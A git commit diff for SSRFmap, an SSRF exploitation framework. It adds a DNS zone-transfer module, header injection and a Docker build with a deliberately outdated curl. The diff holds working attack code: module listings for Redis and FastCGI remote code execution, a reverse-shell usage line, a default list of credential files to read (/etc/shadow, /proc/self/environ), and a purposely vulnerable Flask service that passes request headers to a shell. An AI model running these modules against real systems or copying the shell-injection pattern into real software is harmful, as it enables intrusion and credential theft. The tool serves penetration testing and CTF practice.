commit
36eb5a3f4e
|
@ -104,3 +104,6 @@ venv.bak/
|
||||||
|
|
||||||
# mypy
|
# mypy
|
||||||
.mypy_cache/
|
.mypy_cache/
|
||||||
|
|
||||||
|
# artifacts
|
||||||
|
127.0.0.1_5000/
|
||||||
|
|
23
Dockerfile
23
Dockerfile
|
@ -1,9 +1,20 @@
|
||||||
FROM python:3-alpine3.10
|
FROM python:3.12.4-alpine
|
||||||
|
|
||||||
WORKDIR /opt
|
WORKDIR /usr/src/app
|
||||||
|
COPY . /usr/src/app
|
||||||
|
|
||||||
RUN apk update && apk add git
|
RUN apk update
|
||||||
RUN git clone https://github.com/swisskyrepo/SSRFmap.git
|
|
||||||
RUN cd /opt/SSRFmap && pip install -r requirements.txt
|
|
||||||
|
|
||||||
ENTRYPOINT ["python3","/opt/SSRFmap/ssrfmap.py"]
|
# Install curl with outdated libcurl
|
||||||
|
RUN apk add --update build-base cmake c-ares-dev
|
||||||
|
RUN cp examples/curl-7.71.0.tar.gz /tmp
|
||||||
|
RUN tar -xvf /tmp/curl-7.71.0.tar.gz -C /tmp/
|
||||||
|
RUN cd /tmp/curl-7.71.0 && ./configure --enable-ares && make && make install
|
||||||
|
|
||||||
|
# Install requirements
|
||||||
|
RUN pip install -r requirements.txt
|
||||||
|
|
||||||
|
# Downgrade privileges
|
||||||
|
USER 1000
|
||||||
|
|
||||||
|
ENTRYPOINT ["python3"]
|
149
README.md
149
README.md
|
@ -19,63 +19,72 @@ SSRF are often used to leverage actions on other services, this framework aims t
|
||||||
|
|
||||||
The following modules are already implemented and can be used with the `-m` argument.
|
The following modules are already implemented and can be used with the `-m` argument.
|
||||||
|
|
||||||
| Name | Description |
|
| Name | Description |
|
||||||
| :------------- | :------------- |
|
| :------------- | :------------------------------------------------------- |
|
||||||
| `fastcgi` | FastCGI RCE |
|
| `axfr` | DNS zone transfers (AXFR) |
|
||||||
| `redis` | Redis RCE |
|
| `fastcgi` | FastCGI RCE |
|
||||||
| `github` | Github Enterprise RCE < 2.8.7 |
|
| `redis` | Redis RCE |
|
||||||
| `zabbix` | Zabbix RCE |
|
| `github` | Github Enterprise RCE < 2.8.7 |
|
||||||
| `mysql` | MySQL Command execution |
|
| `zabbix` | Zabbix RCE |
|
||||||
| `postgres` | Postgres Command execution |
|
| `mysql` | MySQL Command execution |
|
||||||
| `docker` | Docker Infoleaks via API |
|
| `postgres` | Postgres Command execution |
|
||||||
| `smtp` | SMTP send mail |
|
| `docker` | Docker Infoleaks via API |
|
||||||
| `portscan` | Scan top 8000 ports for the host |
|
| `smtp` | SMTP send mail |
|
||||||
| `networkscan` | HTTP Ping sweep over the network |
|
| `portscan` | Scan top 8000 ports for the host |
|
||||||
| `readfiles` | Read files such as `/etc/passwd` |
|
| `networkscan` | HTTP Ping sweep over the network |
|
||||||
|
| `readfiles` | Read files such as `/etc/passwd` |
|
||||||
| `alibaba` | Read files from the provider (e.g: meta-data, user-data) |
|
| `alibaba` | Read files from the provider (e.g: meta-data, user-data) |
|
||||||
| `aws` | Read files from the provider (e.g: meta-data, user-data) |
|
| `aws` | Read files from the provider (e.g: meta-data, user-data) |
|
||||||
| `gce` | Read files from the provider (e.g: meta-data, user-data) |
|
| `gce` | Read files from the provider (e.g: meta-data, user-data) |
|
||||||
| `digitalocean` | Read files from the provider (e.g: meta-data, user-data) |
|
| `digitalocean` | Read files from the provider (e.g: meta-data, user-data) |
|
||||||
| `socksproxy` | SOCKS4 Proxy |
|
| `socksproxy` | SOCKS4 Proxy |
|
||||||
| `smbhash` | Force an SMB authentication via a UNC Path |
|
| `smbhash` | Force an SMB authentication via a UNC Path |
|
||||||
| `tomcat` | Bruteforce attack against Tomcat Manager |
|
| `tomcat` | Bruteforce attack against Tomcat Manager |
|
||||||
| `custom` | Send custom data to a listening service, e.g: netcat |
|
| `custom` | Send custom data to a listening service, e.g: netcat |
|
||||||
| `memcache` | Store data inside the memcache instance |
|
| `memcache` | Store data inside the memcache instance |
|
||||||
|
|
||||||
|
|
||||||
## Install and Manual
|
## Install and Manual
|
||||||
|
|
||||||
Basic install from the Github repository.
|
* From the Github repository.
|
||||||
|
```powershell
|
||||||
|
$ git clone https://github.com/swisskyrepo/SSRFmap
|
||||||
|
$ cd SSRFmap/
|
||||||
|
$ pip3 install -r requirements.txt
|
||||||
|
$ python3 ssrfmap.py
|
||||||
|
|
||||||
```powershell
|
usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
|
||||||
$ git clone https://github.com/swisskyrepo/SSRFmap
|
[-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
|
||||||
$ cd SSRFmap/
|
[--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
|
||||||
$ pip3 install -r requirements.txt
|
|
||||||
$ python3 ssrfmap.py
|
|
||||||
|
|
||||||
usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
|
optional arguments:
|
||||||
[-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
|
-h, --help show this help message and exit
|
||||||
[--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
|
-r REQFILE SSRF Request file
|
||||||
|
-p PARAM SSRF Parameter to target
|
||||||
|
-m MODULES SSRF Modules to enable
|
||||||
|
-l HANDLER Start an handler for a reverse shell
|
||||||
|
-v [VERBOSE] Enable verbosity
|
||||||
|
--lhost LHOST LHOST reverse shell or IP to target in the network
|
||||||
|
--lport LPORT LPORT reverse shell or port to target in the network
|
||||||
|
--uagent USERAGENT User Agent to use
|
||||||
|
--ssl [SSL] Use HTTPS without verification
|
||||||
|
--proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080)
|
||||||
|
--level [LEVEL] Level of test to perform (1-5, default: 1)
|
||||||
|
```
|
||||||
|
|
||||||
|
* Docker
|
||||||
|
```powershell
|
||||||
|
$ git clone https://github.com/swisskyrepo/SSRFmap
|
||||||
|
$ docker build --no-cache -t ssrfmap .
|
||||||
|
$ docker run -it ssrfmap ssrfmap.py [OPTIONS]
|
||||||
|
$ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
|
||||||
|
```
|
||||||
|
|
||||||
optional arguments:
|
|
||||||
-h, --help show this help message and exit
|
|
||||||
-r REQFILE SSRF Request file
|
|
||||||
-p PARAM SSRF Parameter to target
|
|
||||||
-m MODULES SSRF Modules to enable
|
|
||||||
-l HANDLER Start an handler for a reverse shell
|
|
||||||
-v [VERBOSE] Enable verbosity
|
|
||||||
--lhost LHOST LHOST reverse shell
|
|
||||||
--lport LPORT LPORT reverse shell
|
|
||||||
--uagent USERAGENT User Agent to use
|
|
||||||
--ssl [SSL] Use HTTPS without verification
|
|
||||||
--proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080)
|
|
||||||
--level [LEVEL] Level of test to perform (1-5, default: 1)
|
|
||||||
```
|
|
||||||
|
|
||||||
## Examples
|
## Examples
|
||||||
|
|
||||||
First you need a request with a parameter to fuzz, Burp requests works well with SSRFmap.
|
First you need a request with a parameter to fuzz, Burp requests works well with SSRFmap.
|
||||||
They should look like the following. More examples are available in the **/data** folder.
|
They should look like the following. More examples are available in the **./examples** folder.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
POST /ssrf HTTP/1.1
|
POST /ssrf HTTP/1.1
|
||||||
|
@ -97,21 +106,27 @@ Use the `-m` followed by module name (separated by a `,` if you want to launch s
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
# Launch a portscan on localhost and read default files
|
# Launch a portscan on localhost and read default files
|
||||||
python ssrfmap.py -r data/request.txt -p url -m readfiles,portscan
|
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan
|
||||||
|
```
|
||||||
|
|
||||||
|
If you want to inject inside a header, a GET or a POST parameter, you only need to specify the parameter name
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test
|
||||||
```
|
```
|
||||||
|
|
||||||
If you need to have a custom user-agent use the `--uagent`. Some targets will use HTTPS, you can enable it with `--ssl`.
|
If you need to have a custom user-agent use the `--uagent`. Some targets will use HTTPS, you can enable it with `--ssl`.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
# Launch a portscan against an HTTPS endpoint using a custom user-agent
|
# Launch a portscan against an HTTPS endpoint using a custom user-agent
|
||||||
python ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"
|
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"
|
||||||
```
|
```
|
||||||
|
|
||||||
Some modules allow you to create a connect back, you have to specify LHOST and LPORT. Also SSRFmap can listen for the incoming reverse shell.
|
Some modules allow you to create a connect back, you have to specify `LHOST` and `LPORT`. Also SSRFmap can listen for the incoming reverse shell.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
# Triggering a reverse shell on a Redis
|
# Triggering a reverse shell on a Redis
|
||||||
python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242
|
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242
|
||||||
|
|
||||||
# -l create a listener for reverse shell on the specified port
|
# -l create a listener for reverse shell on the specified port
|
||||||
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
|
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
|
||||||
|
@ -127,11 +142,40 @@ When the target is protected by a WAF or some filters you can try a wide range o
|
||||||
|
|
||||||
A quick way to test the framework can be done with `data/example.py` SSRF service.
|
A quick way to test the framework can be done with `data/example.py` SSRF service.
|
||||||
|
|
||||||
```powershell
|
* Local
|
||||||
FLASK_APP=data/example.py flask run &
|
```powershell
|
||||||
python ssrfmap.py -r data/request.txt -p url -m readfiles
|
FLASK_APP=examples/example.py flask run &
|
||||||
|
python ssrfmap.py -r examples/request.txt -p url -m readfiles
|
||||||
|
```
|
||||||
|
|
||||||
|
* Docker
|
||||||
|
```ps1
|
||||||
|
docker build --no-cache -t ssrfmap .
|
||||||
|
|
||||||
|
# run example ssrf http service
|
||||||
|
docker run -it -v $(pwd):/usr/src/app --name example ssrfmap examples/example.py
|
||||||
|
|
||||||
|
# run example ssrf dns service
|
||||||
|
docker exec -u root:root -it example python examples/ssrf_dns.py
|
||||||
|
|
||||||
|
# run ssrfmap tool
|
||||||
|
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
|
||||||
|
```
|
||||||
|
|
||||||
|
Launch the tests requests:
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
|
||||||
|
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
|
||||||
|
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
|
||||||
|
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
|
||||||
|
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
|
||||||
|
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
|
||||||
|
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
|
||||||
|
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Contribute
|
## Contribute
|
||||||
|
|
||||||
I :heart: pull requests :)
|
I :heart: pull requests :)
|
||||||
|
@ -189,7 +233,12 @@ You can also contribute with a beer IRL or via Github Sponsor button.
|
||||||
|
|
||||||
### Thanks to the contributors
|
### Thanks to the contributors
|
||||||
|
|
||||||
- [ttffdd](https://github.com/ttffdd)
|
<p align="center">
|
||||||
|
<a href="https://github.com/swisskyrepo/SSRFmap/graphs/contributors">
|
||||||
|
<img src="https://contrib.rocks/image?repo=swisskyrepo/SSRFmap&max=36">
|
||||||
|
</a>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
|
||||||
## Inspired by
|
## Inspired by
|
||||||
|
|
||||||
|
|
|
@ -29,6 +29,9 @@ class Requester(object):
|
||||||
|
|
||||||
# Parse headers
|
# Parse headers
|
||||||
for header in content[1:]:
|
for header in content[1:]:
|
||||||
|
if header == '':
|
||||||
|
# edge-case, when data is sent raw (json/xml)
|
||||||
|
break
|
||||||
name, _, value = header.partition(': ')
|
name, _, value = header.partition(': ')
|
||||||
if not name or not value:
|
if not name or not value:
|
||||||
continue
|
continue
|
||||||
|
@ -75,7 +78,21 @@ class Requester(object):
|
||||||
|
|
||||||
def do_request(self, param, value, timeout=3, stream=False):
|
def do_request(self, param, value, timeout=3, stream=False):
|
||||||
try:
|
try:
|
||||||
|
# Debug information
|
||||||
|
logging.debug(f"Request param: {param}")
|
||||||
|
logging.debug(f"Request value: {value}")
|
||||||
|
logging.debug(f"Request timeout: {timeout}")
|
||||||
|
|
||||||
|
# Handle injection in the headers
|
||||||
|
# Copying data to avoid multiple variables edit
|
||||||
|
header_injected = self.headers.copy()
|
||||||
|
if param in header_injected:
|
||||||
|
header_injected[param] = value
|
||||||
|
logging.debug("Request inject: Injecting payload in HTTP Header")
|
||||||
|
|
||||||
|
logging.debug(f"Request method: {self.method}")
|
||||||
if self.method == "POST":
|
if self.method == "POST":
|
||||||
|
|
||||||
# Copying data to avoid multiple variables edit
|
# Copying data to avoid multiple variables edit
|
||||||
data_injected = self.data.copy()
|
data_injected = self.data.copy()
|
||||||
|
|
||||||
|
@ -84,40 +101,35 @@ class Requester(object):
|
||||||
|
|
||||||
# Handle JSON data
|
# Handle JSON data
|
||||||
if self.headers['Content-Type'] and "application/json" in self.headers['Content-Type']:
|
if self.headers['Content-Type'] and "application/json" in self.headers['Content-Type']:
|
||||||
|
logging.debug("Request type: JSON")
|
||||||
|
logging.debug(f"Request data: {data_injected}")
|
||||||
|
|
||||||
r = requests.post(
|
r = requests.post(
|
||||||
self.protocol + "://" + self.host + self.action,
|
self.protocol + "://" + self.host + self.action,
|
||||||
|
data=json.dumps(data_injected),
|
||||||
headers=self.headers,
|
headers=self.headers,
|
||||||
json=data_injected,
|
|
||||||
timeout=timeout,
|
timeout=timeout,
|
||||||
stream=stream,
|
stream=stream,
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=self.proxies
|
proxies=self.proxies
|
||||||
)
|
)
|
||||||
|
|
||||||
# Handle FORM data
|
# Handle XML data
|
||||||
else:
|
elif self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']:
|
||||||
if param == '': data_injected = value
|
logging.debug("Request type: XML")
|
||||||
r = requests.post(
|
|
||||||
self.protocol + "://" + self.host + self.action,
|
|
||||||
headers=self.headers,
|
|
||||||
data=data_injected,
|
|
||||||
timeout=timeout,
|
|
||||||
stream=stream,
|
|
||||||
verify=False,
|
|
||||||
proxies=self.proxies
|
|
||||||
)
|
|
||||||
else:
|
|
||||||
if self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']:
|
|
||||||
if "*FUZZ*" in data_injected['__xml__']:
|
if "*FUZZ*" in data_injected['__xml__']:
|
||||||
|
logging.debug("Request inject: XML parameter")
|
||||||
|
|
||||||
# replace the injection point with the payload
|
# replace the injection point with the payload
|
||||||
data_xml = data_injected['__xml__']
|
data_xml = data_injected['__xml__']
|
||||||
data_xml = data_xml.replace('*FUZZ*', value)
|
data_xml = data_xml.replace('*FUZZ*', value)
|
||||||
|
|
||||||
|
logging.debug(f"Request data: {data_xml}")
|
||||||
r = requests.post(
|
r = requests.post(
|
||||||
self.protocol + "://" + self.host + self.action,
|
self.protocol + "://" + self.host + self.action,
|
||||||
headers=self.headers,
|
|
||||||
data=data_xml,
|
data=data_xml,
|
||||||
|
headers=self.headers,
|
||||||
timeout=timeout,
|
timeout=timeout,
|
||||||
stream=stream,
|
stream=stream,
|
||||||
verify=False,
|
verify=False,
|
||||||
|
@ -127,17 +139,38 @@ class Requester(object):
|
||||||
else:
|
else:
|
||||||
logging.error("No injection point found ! (use -p)")
|
logging.error("No injection point found ! (use -p)")
|
||||||
exit(1)
|
exit(1)
|
||||||
|
|
||||||
|
# Handle FORM data
|
||||||
else:
|
else:
|
||||||
logging.error("No injection point found ! (use -p)")
|
if param == '':
|
||||||
exit(1)
|
logging.debug("Request inject: POST raw data")
|
||||||
|
data_injected = value
|
||||||
|
else:
|
||||||
|
logging.debug("Request inject: POST parameter")
|
||||||
|
|
||||||
|
r = requests.post(
|
||||||
|
self.protocol + "://" + self.host + self.action,
|
||||||
|
headers=header_injected,
|
||||||
|
data=data_injected,
|
||||||
|
timeout=timeout,
|
||||||
|
stream=stream,
|
||||||
|
verify=False,
|
||||||
|
proxies=self.proxies
|
||||||
|
)
|
||||||
|
|
||||||
|
else:
|
||||||
|
logging.error("No injection point found ! (use -p)")
|
||||||
|
exit(1)
|
||||||
else:
|
else:
|
||||||
|
logging.debug("Request inject: GET parameter")
|
||||||
|
|
||||||
# String is immutable, we don't have to do a "forced" copy
|
# String is immutable, we don't have to do a "forced" copy
|
||||||
regex = re.compile(param+"=([^&]+)")
|
regex = re.compile(param+"=([^&]+)")
|
||||||
value = urllib.parse.quote(value, safe='')
|
value = urllib.parse.quote(value, safe='')
|
||||||
data_injected = re.sub(regex, param+'='+value, self.action)
|
data_injected = re.sub(regex, param+'='+value, self.action)
|
||||||
r = requests.get(
|
r = requests.get(
|
||||||
self.protocol + "://" + self.host + data_injected,
|
self.protocol + "://" + self.host + data_injected,
|
||||||
headers=self.headers,
|
headers=header_injected,
|
||||||
timeout=timeout,
|
timeout=timeout,
|
||||||
stream=stream,
|
stream=stream,
|
||||||
verify=False,
|
verify=False,
|
||||||
|
|
Binary file not shown.
|
@ -1,11 +1,11 @@
|
||||||
# NOTE: do not try this at home - highly vulnerable ! (SSRF and RCE)
|
# NOTE: Do not try this at home - highly vulnerable ! (SSRF and RCE)
|
||||||
# NOTE: this file should become a simple ssrf example in order to test SSRFmap
|
# NOTE: SSRF examples script
|
||||||
# FLASK_APP=example.py flask run
|
# FLASK_APP=example.py flask run
|
||||||
|
|
||||||
from flask import Flask, abort, request
|
from flask import Flask, request
|
||||||
import json
|
|
||||||
import re
|
import re
|
||||||
import subprocess
|
import subprocess
|
||||||
|
import urllib.parse
|
||||||
|
|
||||||
app = Flask(__name__)
|
app = Flask(__name__)
|
||||||
|
|
||||||
|
@ -40,14 +40,24 @@ def ssrf3():
|
||||||
@app.route("/ssrf4", methods=['POST'])
|
@app.route("/ssrf4", methods=['POST'])
|
||||||
def ssrf4():
|
def ssrf4():
|
||||||
data = request.data
|
data = request.data
|
||||||
print(data.decode())
|
|
||||||
regex = re.compile("url>(.*?)</url")
|
regex = re.compile("url>(.*?)</url")
|
||||||
try:
|
try:
|
||||||
url = regex.findall(data.decode())[0]
|
data = urllib.parse.unquote(data)
|
||||||
|
url = regex.findall(data)[0]
|
||||||
|
print(url)
|
||||||
content = command(f"curl {url}")
|
content = command(f"curl {url}")
|
||||||
return content
|
return content
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return e
|
print(e)
|
||||||
|
|
||||||
|
# curl -v "http://127.0.0.1:5000/ssrf5" -H 'X-Custom-Header: http://example.com'
|
||||||
|
@app.route("/ssrf5", methods=['GET'])
|
||||||
|
def ssrf5():
|
||||||
|
data = request.headers.get('X-Custom-Header')
|
||||||
|
content = command(f"curl {data}")
|
||||||
|
return content
|
||||||
|
|
||||||
|
|
||||||
def command(cmd):
|
def command(cmd):
|
||||||
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
|
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
|
|
@ -0,0 +1,10 @@
|
||||||
|
GET /ssrf5 HTTP/1.1
|
||||||
|
Host: 127.0.0.1:5000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Referer: http://mysimple.ssrf/
|
||||||
|
X-Custom-Header: http://example.com
|
||||||
|
Connection: close
|
||||||
|
Upgrade-Insecure-Requests: 1
|
|
@ -0,0 +1,50 @@
|
||||||
|
# NOTE example script heavily inspired from FCSC CTF 2024
|
||||||
|
# use this example to test the AXFR module
|
||||||
|
# dig @127.0.0.1 -p 53 example.lab AXFR
|
||||||
|
|
||||||
|
from dnslib.server import DNSServer, BaseResolver
|
||||||
|
from dnslib import RR, QTYPE, RCODE, A
|
||||||
|
from dns import resolver
|
||||||
|
import threading
|
||||||
|
|
||||||
|
DOMAINS = {
|
||||||
|
"frontend.example.lab.": "10.10.10.10",
|
||||||
|
"backend.example.lab.": "10.10.10.11",
|
||||||
|
"secret_flag.example.lab.": "10.10.10.12",
|
||||||
|
"test.example.lab.": "10.10.10.12"
|
||||||
|
}
|
||||||
|
|
||||||
|
class LocalDNS(BaseResolver):
|
||||||
|
def resolve(self, request, handler):
|
||||||
|
reply = request.reply()
|
||||||
|
q = request.q
|
||||||
|
|
||||||
|
print('', flush=True)
|
||||||
|
|
||||||
|
if q.qtype == QTYPE.A and str(q.qname) in DOMAINS:
|
||||||
|
reply.add_answer(RR(q.qname, QTYPE.A, rdata=A(DOMAINS[str(q.qname)])))
|
||||||
|
elif q.qtype == QTYPE.A:
|
||||||
|
default_resolver = resolver.Resolver()
|
||||||
|
try:
|
||||||
|
answers = default_resolver.resolve(str(q.qname), "A")
|
||||||
|
for answer in answers:
|
||||||
|
reply.add_answer(RR(q.qname, QTYPE.A, rdata=A(answer.address)))
|
||||||
|
except:
|
||||||
|
reply.header.rcode = RCODE.NXDOMAIN
|
||||||
|
elif q.qtype == QTYPE.AXFR and str(q.qname) == "example.lab.":
|
||||||
|
for domain, ip in DOMAINS.items():
|
||||||
|
reply.add_answer(RR(domain, QTYPE.A, rdata=A(ip)))
|
||||||
|
else:
|
||||||
|
reply.header.rcode = RCODE.NXDOMAIN
|
||||||
|
|
||||||
|
return reply
|
||||||
|
|
||||||
|
def run_server(protocol):
|
||||||
|
print(f"Server is running - {protocol}")
|
||||||
|
resolver = LocalDNS()
|
||||||
|
server = DNSServer(resolver, address="0.0.0.0", port=53, tcp=(protocol == "TCP"))
|
||||||
|
server.start()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
threading.Thread(target=run_server, args=("TCP",)).start()
|
||||||
|
threading.Thread(target=run_server, args=("UDP",)).start()
|
|
@ -0,0 +1,91 @@
|
||||||
|
from core.utils import wrapper_gopher, gen_ip_list
|
||||||
|
from urllib.parse import quote
|
||||||
|
import logging
|
||||||
|
import binascii
|
||||||
|
|
||||||
|
name = "axfr"
|
||||||
|
description = "AXFR DNS"
|
||||||
|
author = "Swissky"
|
||||||
|
documentation = [
|
||||||
|
"https://vozec.fr/writeups/pong-fcsc2024-en/",
|
||||||
|
"https://mizu.re/post/pong",
|
||||||
|
"https://gist.github.com/Siss3l/32591a6d6f33f78bb300bfef241de262"
|
||||||
|
]
|
||||||
|
|
||||||
|
class exploit():
|
||||||
|
SERVER_HOST = "127.0.0.1"
|
||||||
|
SERVER_PORT = "53"
|
||||||
|
SERVER_DOMAIN = "example.lab"
|
||||||
|
|
||||||
|
def __init__(self, requester, args):
|
||||||
|
logging.info(f"Module '{name}' launched !")
|
||||||
|
|
||||||
|
# Handle args for custom DNS target
|
||||||
|
if args.lhost is not None:
|
||||||
|
self.SERVER_HOST = args.lhost
|
||||||
|
if args.lport is not None:
|
||||||
|
self.SERVER_PORT = args.lport
|
||||||
|
if args.ldomain is not None:
|
||||||
|
self.SERVER_DOMAIN = args.ldomain
|
||||||
|
|
||||||
|
# Using a generator to create the host list
|
||||||
|
gen_host = gen_ip_list(self.SERVER_HOST, args.level)
|
||||||
|
for ip in gen_host:
|
||||||
|
domain,tld = self.SERVER_DOMAIN.split('.')
|
||||||
|
|
||||||
|
# DNS AXFR - TCP packet format
|
||||||
|
dns_request = b"\x01\x03\x03\x07" # BITMAP
|
||||||
|
dns_request += b"\x00\x01" # QCOUNT
|
||||||
|
dns_request += b"\x00\x00" # ANCOUNT
|
||||||
|
dns_request += b"\x00\x00" # NSCOUNT
|
||||||
|
dns_request += b"\x00\x00" # ARCOUNT
|
||||||
|
|
||||||
|
dns_request += len(domain).to_bytes() # LEN DOMAIN
|
||||||
|
dns_request += domain.encode() # DOMAIN
|
||||||
|
dns_request += len(tld).to_bytes() # LEN TLD
|
||||||
|
dns_request += tld.encode() # TLD
|
||||||
|
dns_request += b"\x00" # DNAME EOF
|
||||||
|
|
||||||
|
dns_request += b"\x00\xFC" # QTYPE AXFR (252)
|
||||||
|
dns_request += b"\x00\x01" # QCLASS IN (1)
|
||||||
|
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
|
||||||
|
|
||||||
|
payload = wrapper_gopher(quote(dns_request), ip , self.SERVER_PORT)
|
||||||
|
|
||||||
|
# Send the payload
|
||||||
|
r = requester.do_request(args.param, payload)
|
||||||
|
self.parse_output(r.text)
|
||||||
|
|
||||||
|
|
||||||
|
def parse_output(self, data):
|
||||||
|
# removing header part
|
||||||
|
lheader = len(b"\x00" + b"\x6a" + b"\x01\x03" + b"\xef\xbf\xbd" + b"\xef\xbf\xbd" + b"\x00")
|
||||||
|
lother = len(b"\x01\x00" + b"\x03" + b"\x00\x00\x00\x00")
|
||||||
|
hex_output = binascii.hexlify(data.encode())
|
||||||
|
hex_output = hex_output[(lheader+lother)*2:]
|
||||||
|
data = binascii.unhexlify(hex_output)
|
||||||
|
|
||||||
|
# extracting size
|
||||||
|
domain_size = data[0]
|
||||||
|
domain = data[1:domain_size+1]
|
||||||
|
logging.debug(f"DOMAIN: {domain_size}, {domain.decode()}")
|
||||||
|
|
||||||
|
tld_size = data[domain_size+1]
|
||||||
|
tld = data[domain_size+2:domain_size+2+tld_size]
|
||||||
|
logging.debug(f"TLD: {tld_size}, {tld.decode()}")
|
||||||
|
|
||||||
|
# subdomains
|
||||||
|
subdata = data[domain_size+2+tld_size:]
|
||||||
|
subdata_arr = subdata.decode().split("<EFBFBD>")
|
||||||
|
for sub in subdata_arr:
|
||||||
|
printable = self.bytes_to_printable_string(sub.encode())
|
||||||
|
if printable != '':
|
||||||
|
logging.info(f"\033[32mSubdomain found\033[0m : {printable}")
|
||||||
|
|
||||||
|
|
||||||
|
def bytes_to_printable_string(self, byte_string):
|
||||||
|
# Filter out non-printable characters and decode the byte string
|
||||||
|
printable_chars = (chr(byte) for byte in byte_string if chr(byte).isprintable())
|
||||||
|
# Concatenate the printable characters into a single string
|
||||||
|
printable_string = ''.join(printable_chars)
|
||||||
|
return printable_string
|
|
@ -1,7 +1,6 @@
|
||||||
from core.utils import *
|
from core.utils import *
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
from argparse import ArgumentParser
|
|
||||||
|
|
||||||
name = "readfiles"
|
name = "readfiles"
|
||||||
description = "Read files from the target"
|
description = "Read files from the target"
|
||||||
|
@ -12,12 +11,24 @@ class exploit():
|
||||||
|
|
||||||
def __init__(self, requester, args):
|
def __init__(self, requester, args):
|
||||||
logging.info(f"Module '{name}' launched !")
|
logging.info(f"Module '{name}' launched !")
|
||||||
self.files = args.targetfiles.split(',') if args.targetfiles != None else ["/etc/passwd", "/etc/lsb-release", "/etc/shadow", "/etc/hosts", "\/\/etc/passwd", "/proc/self/environ", "/proc/self/cmdline", "/proc/self/cwd/index.php", "/proc/self/cwd/application.py", "/proc/self/cwd/main.py", "/proc/self/exe"]
|
self.files = args.targetfiles.split(',') if args.targetfiles != None else [
|
||||||
|
"/etc/passwd",
|
||||||
|
"/etc/lsb-release",
|
||||||
|
"/etc/shadow",
|
||||||
|
"/etc/hosts",
|
||||||
|
"\/\/etc/passwd",
|
||||||
|
"/proc/self/environ",
|
||||||
|
"/proc/self/cmdline",
|
||||||
|
"/proc/self/cwd/index.php",
|
||||||
|
"/proc/self/cwd/application.py",
|
||||||
|
"/proc/self/cwd/main.py",
|
||||||
|
"/proc/self/exe"
|
||||||
|
]
|
||||||
self.file_magic = {'elf' : bytes([0x7f, 0x45, 0x4c, 0x46])}
|
self.file_magic = {'elf' : bytes([0x7f, 0x45, 0x4c, 0x46])}
|
||||||
|
|
||||||
r = requester.do_request(args.param, "")
|
r = requester.do_request(args.param, "")
|
||||||
|
|
||||||
if r != None:
|
if r is not None:
|
||||||
default = r.text
|
default = r.text
|
||||||
|
|
||||||
# Create directory to store files
|
# Create directory to store files
|
||||||
|
@ -36,9 +47,9 @@ class exploit():
|
||||||
# Display diff between default and ssrf request
|
# Display diff between default and ssrf request
|
||||||
logging.info(f"\033[32mReading file\033[0m : {f}")
|
logging.info(f"\033[32mReading file\033[0m : {f}")
|
||||||
if bytes(diff, encoding='utf-8').startswith(self.file_magic["elf"]):
|
if bytes(diff, encoding='utf-8').startswith(self.file_magic["elf"]):
|
||||||
print("ELF binary found - not printing to stdout")
|
logging.info("ELF binary found - not printing to stdout")
|
||||||
else:
|
else:
|
||||||
print(diff)
|
logging.info(diff)
|
||||||
|
|
||||||
# Write diff to a file
|
# Write diff to a file
|
||||||
filename = f.replace('\\','_').replace('/','_')
|
filename = f.replace('\\','_').replace('/','_')
|
||||||
|
@ -47,4 +58,4 @@ class exploit():
|
||||||
f.write(diff)
|
f.write(diff)
|
||||||
|
|
||||||
else:
|
else:
|
